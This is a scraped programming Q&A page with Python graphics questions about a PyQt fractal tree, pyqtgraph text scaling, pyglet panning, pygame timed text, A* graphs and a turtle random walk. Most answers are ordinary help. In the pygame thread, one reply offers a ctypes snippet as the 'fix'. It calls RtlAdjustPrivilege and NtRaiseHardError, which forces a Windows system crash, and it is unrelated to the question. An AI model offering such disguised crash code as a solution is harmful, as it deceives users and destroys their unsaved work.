fractal in pyqt --> problems with recursion - python

I am trying to draw this simple tree fractal without success...
I have tried many combinations to get the recursive working propperly but never seemed to succeed to get the shape I wanted.
Here is the code I got at the end.
from PyQt5 import QtGui, QtWidgets, QtCore, Qt
import sys
class Arena(QtWidgets.QWidget):
def __init__(self):
super(Arena, self).__init__()
self.angle = 45
self.transform = QtGui.QTransform()
self.translate2 = 0
self.recursions = 10
self.setGeometry(2500, 400, 500, 500)
self.origin = (self.width()/2, self.height())
self.pal = QtGui.QPalette()
self.pal.setColor(QtGui.QPalette.Background, QtGui.QColor(0, 0, 0))
self.setPalette(self.pal)
self.pen_branch = QtGui.QPen()
self.pen_branch.setColor(QtGui.QColor(255, 255, 255))
initializes class
self.init_UI()
def init_UI(self):
self.slider_angle = QtWidgets.QSlider(QtCore.Qt.Horizontal, self)
self.slider_angle.setMinimum(-8000)
self.slider_angle.setMaximum(8000)
self.slider_angle.setGeometry(0, 50, self.width(), 50)
self.slider_angle.valueChanged.connect(
lambda value, x=0 : self.setAngleValue(value))
self.setAngleValue(4500)
self.slider_angle.setValue(4500)
builds the UI
def setAngleValue(self, value):
self.angle = value/100
self.update()
sets the angle
def branch(self, p, len):
p.drawLine(0, 0, 0, -len)
p.translate(0,-len)
if len > 3:
len *= 0.66
self.transform = p.transform()
p.rotate(self.angle)
self.branch(p, len)
p.setTransform(self.transform)
self.transform = p.transform()
p.rotate(-self.angle)
p.translate(0, len)
self.branch(p, len)
p.setTransform(self.transform)
Here is where the magic of the fractal should happen: the recursive method (AFAIK ...)
I use 'p.transform' to grab the transformation matrix and restore it after I create the line.
def paintEvent(self, e):
p = QtGui.QPainter(self)
p.setRenderHint(QtGui.QPainter.Antialiasing)
p.setPen(self.pen_branch)
p.drawText(20, 20, 'angle: ' + str(self.angle))
p.drawText(100, 20, 'trans2: ' + str(self.translate2))
# Trunk
p.translate(self.width()/2, self.height())
p.drawLine(0, 0, 0, -100)
self.branch(p, 100)
The paint event that paints the lines on the canvas.
app = QtWidgets.QApplication(sys.argv)
Arena = Arena()
Arena.show()
app.exec_()
The application runner.
After some fiddling I have reached a close result to what I am looking for but still not the goal yet. I'd like to create a perfectly symetrical tree, but this is what I got:
The new code is like this:
def branch(self, p, x, r, len):
p.drawLine(0, 0, 0, -len)
if len > 1 :
p.translate(0, -len)
p.rotate(r)
self.branch(p, 10, self.angle, len * 0.66)
p.rotate(-r)
self.branch(p, 10, -self.angle, len * 0.66)
p.translate(0, len)
p.rotate(-r)
def paintEvent(self, e):
p = QtGui.QPainter(self)
p.setRenderHint(QtGui.QPainter.Antialiasing)
p.setPen(self.pen_branch)
p.drawText(20, 20, 'angle: ' + str(self.angle))
p.drawText(100, 20, 'trans2: ' + str(self.translate2))
p.translate (self.width()/2, self.height())
self.branch(p, 10, self.angle, 200)

The problem resides in how the branch function is implemented: after you call rotate the first time, the other branch needs to use a doubled angle in order to go in the opposite direction.
Consider this: assuming the angle is 30°, if you call rotate(r) for the right branch, then you have to rotate(-r * 2) for the left one; in this way the angle is "reset" to the original value and then rotated on the opposite side.
This is the modified version of your function:
def branch(self, p, x, r, length):
p.drawLine(0, 0, 0, -length)
if length > 1 :
p.translate(0, -length)
p.rotate(r)
self.branch(p, 10, r, length * 0.66)
# rotate to the opposite side
p.rotate(-r * 2)
self.branch(p, 10, -r, length * 0.66)
# note that translation and rotation are inverted, opposed to your
# example, this is because you translated first and *then* applied
# rotation, so you should "reset" those states in the opposite way
p.rotate(r)
p.translate(0, length)
To avoid this kind of problems, it's usually better to use the save() and restore() functions, which allow you to use multiple levels of painter states: you save a state, apply all modifications you want (pen, brush and any kind of transformation), then you can restore the previous state automatically; this makes development easier, and get a much more readable and understandable code; just remember that the states must always be restored up to the original saved "level".
Here is how a better branch function could look:
def branch(self, p, x, r, length):
p.drawLine(0, 0, 0, -length)
if length > 3:
# save state, first level (for the current function)
p.save()
p.translate(0, -length)
# save state for the right branch
p.save()
p.rotate(r)
self.branch(p, 10, r, length * .66)
# restore to the previous "first" level
p.restore()
# again, for the left branch
p.save()
p.rotate(-r)
self.branch(p, 10, -r, length * .66)
# restore again
p.restore()
# restore the previous state
p.restore()
And here's the result:
Some suggestions:
use descriptive variables names (p, x and r are not very meaningful);
never use built-ins for variable names (in your case, len);
the lambda connection for valueChanged seems useless; what's the use of the x variable? Please try to keep your examples as minimal as possible, avoiding unnecessary variables or functions that just create confusion to the reader;
use separated widgets for each task; create a main container (which might be the "top level window"), set a layout manager, then add the slider and the custom widget to it; avoid setting fixed geometries as much as possible: the UI should be able to adjust itself to the window size ("responsive", as we call it nowadays);

Related

TextItem scaling in pyqtgraph

I'm having a problem with the font scaling of TextItems in pyqtgraph, like you can see from the following code when I zoom in/zoom out in the main graph the font of the TextItems stays the same while I'm trying to make It scale in the same exact way (rate) of the QGraphicsRectItem. I've tried to look on all the forums I know but I haven't find an answer so I really hope someone has a solution for this.
import sys
import pyqtgraph as pg
from PyQt6.QtWidgets import QApplication, QGraphicsRectItem
from pyqtgraph.Qt import QtCore
app = QApplication(sys.argv)
view = pg.GraphicsView()
l = pg.GraphicsLayout()
view.setCentralItem(l)
view.show()
view.resize(800, 600)
p0 = l.addPlot(0, 0)
p0.showGrid(x=True, y=True, alpha=1.0)
# have no x-axis tickmark below the upper plot (coordinate 0,0)
# without these lines, there will be separate coordinate systems with a gap inbetween
ay0 = p0.getAxis('left') # get handle to y-axis 0
ay0.setStyle(showValues=False) # this will remove the tick labels and reduces gap b/w plots almost to zero
# there will be a double line separating the plot rows
# ay02 = p0.getAxis('right')
# ay02.setStyle(showValues=False)
p0.hideAxis('right')
ax02 = p0.getAxis('top')
ax02.setStyle(showValues=False)
p1 = l.addPlot(0, 1)
# p1.showGrid(x=True, y=True, alpha=1.0)
p1.setYLink(p0)
l.layout.setSpacing(0.5)
l.setContentsMargins(0., 0., 0., 0.)
p1.setFixedWidth(300)
# p1.setFixedHeight(h-451)
p1.setMouseEnabled(x=False)
# ay1 = p1.getAxis('left')
# ay1.setStyle(showValues=False)
ax12 = p1.getAxis('top')
ax12.setStyle(showValues=False)
# ax1 = p1.getAxis('bottom')
# ax1.setStyle(showValues=False)
p1.showAxis('right')
p1.hideAxis('left')
p1.setXRange(0, 6, padding=0) # Then add others like 1 pip
# p1.getAxis('bottom').setTextPen('black')
board = ['123456',
'abcdef',
'ghilmn']
def draw_board(board2):
for j, row in enumerate(board2):
for i, cell in enumerate(row):
rect_w = 1
rect_h = 1
r = QGraphicsRectItem(i, -j+2, rect_w, rect_h)
r.setPen(pg.mkPen((0, 0, 0, 100)))
r.setBrush(pg.mkBrush((50, 50, 200)))
p1.addItem(r)
t_up = pg.TextItem(cell, (255, 255, 255), anchor=(0, 0))
t_up.setPos(i, -j+1+2)
p1.addItem(t_up)
draw_board(board)
if __name__ == '__main__':
if (sys.flags.interactive != 1) or not hasattr(QtCore, 'PYQT_VERSION'):
QApplication.instance().exec()
Scaling of a text item is quite difficult, as you need to consider a constant aspect ratio of the base scale, and the problems related to the way fonts are positioned and drawn relative to the origin point.
Assuming that the displayed text will always be a single character and that the characters used are standard ascii letters and numbers, the only possibility is to cycle through all possible characters, and create properly aligned paths for each of them.
So, for every character:
construct a QPainterPath;
add the letter to the path;
get the max() of that path width and the others;
get the minimum Y and maximum bottom of the bounding rectangle;
translate the path based on all other values computed above (in a separate loop);
Then, you have to set a reference size for the letter (using the maximum width above and the font metrics' height) and get the aspect ratio for that size.
The last part is implemented in the paint() function of the QGraphicsRectItem subclass, which is required to get the proper geometry of the item (if any transformation is applied to a parent item, the item will not know it), and get the maximum rectangle for the reference size based on the current rectangle size.
class NumberRectItem(QGraphicsRectItem):
textSize = None
textPaths = {}
textPath = None
def __init__(self, x, y, width, height, letter=''):
super().__init__(x, y, width, height)
if letter:
if not self.textPaths:
self._buildTextPaths()
self.textPath = self.textPaths[letter]
def _buildTextPaths(self):
from string import ascii_letters, digits
font = QApplication.font()
fm = QFontMetricsF(font)
maxWidth = 0
minY = 1000
maxY = 0
for l in ascii_letters + digits:
path = QPainterPath()
path.addText(0, 0, font, l)
br = path.boundingRect()
maxWidth = max(maxWidth, br.width())
minY = min(minY, br.y())
maxY = max(maxY, br.bottom())
self.textPaths[l] = path
self.__class__.textSize = QSizeF(maxWidth, fm.height())
self.__class__.textRatio = self.textSize.height() / self.textSize.width()
middle = minY + (maxY - minY) / 2
for path in self.textPaths.values():
path.translate(
-path.boundingRect().center().x(),
-middle)
def paint(self, qp, opt, widget=None):
super().paint(qp, opt, widget)
if not self.textPath:
return
qp.save()
qp.resetTransform()
view = widget.parent()
sceneRect = self.mapToScene(self.rect())
viewRect = view.mapFromScene(sceneRect).boundingRect()
rectSize = QSizeF(viewRect.size())
newSize = self.textSize.scaled(rectSize, Qt.KeepAspectRatio)
if newSize.width() == rectSize.width():
# width is the maximum
ratio = newSize.width() / self.textSize.width()
else:
ratio = newSize.height() / self.textSize.height()
transform = QTransform().scale(ratio, ratio)
path = transform.map(self.textPath)
qp.setRenderHint(qp.Antialiasing)
qp.setPen(Qt.NoPen)
qp.setBrush(Qt.white)
qp.drawPath(path.translated(viewRect.center()))
qp.restore()
def draw_board(board2):
for j, row in enumerate(board2):
for i, cell in enumerate(row):
rect_w = 1
rect_h = 1
r = NumberRectItem(i, -j+2, rect_w, rect_h, letter=cell)
r.setPen(pg.mkPen((150, 0, 0, 255)))
r.setBrush(pg.mkBrush((50, 50, 200, 128)))
p1.addItem(r)
Note: for PyQt6 you need to use the full enum names: Qt.GlobalColor.white, etc.

Pyglet- Moving many shapes at once

I am making a langton's ant cellular automata program, and I want the user to be able to pan and zoom. Right now, I have all my rectangles (grid squares) stored as a dictionary, and to move/zoom, I iterate through all of them and apply the transformation needed.
def zoom(self, factor, center_x, center_y):
for x in range(WIDTH):
for y in range(HEIGHT):
rect = self.rects[x][y]
self.rects[x][y].x = (rect.x - center_x)*factor + center_x
self.rects[x][y].y = (rect.y - center_y)*factor + center_y
self.rects[x][y].width = rect.width * factor
self.rects[x][y].height = rect.height * factor
However, with the amount of rectangles (32,000), it takes a second or to do pan and zoom. Is there any better way of doing it than this? Thanks!
Here is the full code
Yes. Use OpenGL transformation matrices to apply transformations. These will be calculated on the GPU for performance gain.
pyglet.graphics.Group lets you group together such transformations in order to apply them automatically to Pyglet primitives when drawing them.
Example
We create a CameraGroup that pans and zooms objects into view.
import pyglet.gl as gl
import pyglet.shapes
class CameraGroup(Group):
def __init__(self, window, *args, **kwargs):
super().__init__(*args, **kwargs)
self.win = window
def set_state(self):
gl.glPushMatrix()
x = -(self.win.x - self.win.width // 2)
y = -(self.win.y - self.win.height // 2)
gl.glTranslatef(x, y, 0.0)
gl.glScalef(self.win.factor, self.win.factor, 1.0)
def unset_state(self):
gl.glPopMatrix()
The example assumes you have the properties center_x, center_y and factor on your window.
Apply the group by attaching it to Pyglet objects.
cam_group = CameraGroup(main_win)
rect = pyglet.shapes.Rectangle(250, 300, 400, 200, color=(255, 22, 20), batch=batch, group=cam_group)
When rect gets rendered the group transformations area applied automatically.
You can also construct more complex groups if needed.
There is a camera example for pyglet in the examples folder.
https://github.com/pyglet/pyglet/blob/pyglet-1.5-maintenance/examples/camera.py

How to display text on screen for a few seconds?

I'm programming a game in pygame. After hitting an object, the text appears on screen. How to make it disappear after a few seconds?
Fragment of my code:
def bonus(txt, x, y, size):
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
screen.blit(rend, (x, y))
pygame.display.update()
def hit:
bonus('+3 points', 30, 70, 30)
Create 2 variables in global name space (or class attributes if you use classes). The first on states the bonus text and position (bonus_text). The other one states the time when the text has to disappear:
bonus_text = None
bonus_end = 0
Set the variables in hit. Use pygame.time.get_ticks() to get the current time. Add the timespan to the current time (e.g. 3000 milliseconds).
Don't forget the global statement, since the function writes to the variables in global namespace.
def hit():
global bonus_text, bonus_end
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
bonus_text = (rend, (x, y))
bonus_end = pygame.time.get_ticks() + 3000 # 3000 milliseconds = 3 seconds
Continuously call draw_bonus in the main application loop. The function draws the bonus text, if bonus_text is set and the current time (pygame.time.get_ticks()) is less the time point a t which text has to disappear.
def draw_bonus(txt, x, y, size):
if bonus_text and pygame.time.get_ticks() < bonus_end:
screen.blit(*bonus_text)
It depends on the overall structure of your project. You can use some scheduling library like aspscheduler to schedule functions to be executed at some later time. Or, implement multithreading and use time.sleep() in one thread that is responsibe for drawing the text. Or, keep a list of functions and times when you need to call them, and go through this list on every main loop iteration
yes if you put this code then it wil be fixed
from ctypes.wintypes import *
tmp1 = c_bool()
tmp2 = DWORD()
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))

How to structure an adjacency list for this A* program

I'm trying to understand the A* path finding algorithm, and how to implement it in a python program. I found this website which does a pretty good job explaining how the algorithm itself works, as well as providing some example code.
Here is where I get stuck:
def make_graph(mapinfo):
nodes = [[AStarGridNode(x, y) for y in range(mapinfo.height)] for x in range(mapinfo.width)]
graph = {}
for x, y in product(range(mapinfo.width), range(mapinfo.height)):
node = nodes[x][y]
graph[node] = []
for i, j in product([-1, 0, 1], [-1, 0, 1]):
if not (0 <= x + i < mapinfo.width): continue
if not (0 <= y + j < mapinfo.height): continue
graph[nodes[x][y]].append(nodes[x+i][y+j])
return graph, nodes
graph, nodes = make_graph({"width": 8, "height": 8})
paths = AStarGrid(graph)
start, end = nodes[1][1], nodes[5][7]
path = paths.search(start, end)
if path is None:
print "No path found"
else:
print "Path found:", path
I don't understand how the "mapinfo" object is supposed to look. I manage to the the program working by replacing the mapinfo variables with some numbers, but can't figure out how an entire list would work, especially if we want walls included. Can you provide some clarification / examples?
The mapinfo object (as presented in the code given) is a dictionary argument passed into the make_graph() function and is being used to store the dimensions (width and height) of the grid to be searched.
You could define it before the function call and then pass it to the function like:
mapinfo = {"width": 8, "height": 8}
graph, nodes = make_graph(mapinfo)
The problem is that the make_graph() function tries to access the width and height values in mapinfo directly (such as by mapinfo.height), which results in an exception AttributeError: 'dict' object has no attribute 'height'.
Two options I can think of are:
Change the statements in make_graph() to access the dictionary elements by key instead of by attribute by changing all mapinfo.height to mapinfo['height'] and similarly for the width), or
Create a MapInfo class with the attributes you need, and pass an instance of it to the make_graph() function instead of a dictionary.
class MapInfo(object):
def __init__(self, width, height):
self.width = width
self.height = height
# ...
mapinfo = MapInfo(width=8, height=8)
graph, nodes = make_graph(mapinfo)
You'll have to do more if you want to include impassable terrain, such as walls.
Perhaps extend the MapInfo class by giving it another attribute:
def __init__(self, width, height, impassable=[]):
"""Create a MapInfo object representing the search area and obstacles.
Args:
width: Integer representing the width of the area
height: Integer representing the height of the area
impassable: List of (x, y) tuples representing impassable obstacles.
"""
self.width = width
self.height = height
self.impassable = impassable
Next you would need to modify the make_graph() function to only add edges between two grid spaces if the target area is not impassable.
for i, j in product([-1, 0, 1], [-1, 0, 1]):
# Check that we are inside the grid area.
if not (0 <= x + i < mapinfo.width): continue
if not (0 <= y + j < mapinfo.height): continue
# Check if the target area is impassable.
if (x + i, y + j) in mapinfo.impassable: continue
# All looks good. Add target space as reachable from current (x, y) space.
graph[nodes[x][y]].append(nodes[x+i][y+j])
You would then modify your mapinfo instance definition as necessary with the additional impassable areas:
impassable = [(3, 3), (3, 4), (3, 5)] # modify to your needs
mapinfo = MapInfo(width=8, height=8, impassable=impassable)

Random Walk Problem(Escape Recursion)

As practice, and as a precursor to a more complex, larger project I have in mind, I have created a random walk script using the Turtle module. I realize that there are simpler ways to do the random walk without having to find the neighboring coordinates, but as far as I can tell this is necessary for the larger implementation.
The problem I am having is that python is reaching its maximum recursion depth when it finds that it has visited every adjacent cell in the getnext() function. I'm not sure how I would escape that loop and continue on as normal should that occur.
import turtle
import random
class cell(object):
def __init__(self, pos, visited = False):
self.xCoord = pos[0]
self.yCoord = pos[1]
self.visited = visited
self.neigh = []
self.neighbors = self.getneighbors()
def getneighbors(self):
for j in (-1, 0, 1):
for i in (-1, 0, 1):
self.neigh.append((self.xCoord+i, self.yCoord+j))
def getnext():
nextindex = random.randint(0, len(c.neigh)-1)
nextcoordt = c.neigh[nextindex]
nextcoord = list(c.neigh[nextindex])
if nextcoordt in coords:
getnext()
else:
turtle.goto(nextcoord[0], nextcoord[1])
coords = {}
turtle.setup(width =200, height = 200, startx = 0, starty = 0)
turtle.trace = False
for i in range(1000):
c = cell(list(turtle.pos()))
coords[turtle.pos()] = (c)
getnext()
Furthermore this is actually my first true application of OOP and I was wondering if this was a good way to use it.
Thanks a lot!
If your random walk finds that it has visited every adjacent cell, it would loop forever. Since you're using recursion it quickly exceeds the maximum recursion limit.
I'm sure this could be written in an OOP way, but the problems are more in your use of recursion than whether the cell class is useful. For example, I've simplified your code to run in a linear fashion. The changes are:
Eliminate the (0, 0) direction since it makes no forward progress. (optional depending on your goal, i.e. if you consider "staying put" a valid move or not).
Uses random.choice() to pick the direction of the next move.
Removes recursion in favor of calculating the next coordinate by adding the direction vector to the current position. A simple loop suffices.
Doesn't check the next position against a recent history of positions, since a move back to a previous space is perfectly valid for randomness.
Code:
import itertools
import random
import turtle
# change step size if you like
STEP = 1
PTS = [-STEP, 0, STEP]
DIRS = [(x, y) for x in PTS for y in PTS if x or y]
turtle.setup(width=400, height=400, startx=0, starty=0)
turtle.trace = False
pos = turtle.pos()
for i in range(1000):
px, py = turtle.pos()
# direction of next move
xd, yd = random.choice(DIRS)
# set pos to current pos + direction vector
turtle.goto(px + xd, py + yd)

Categories

Resources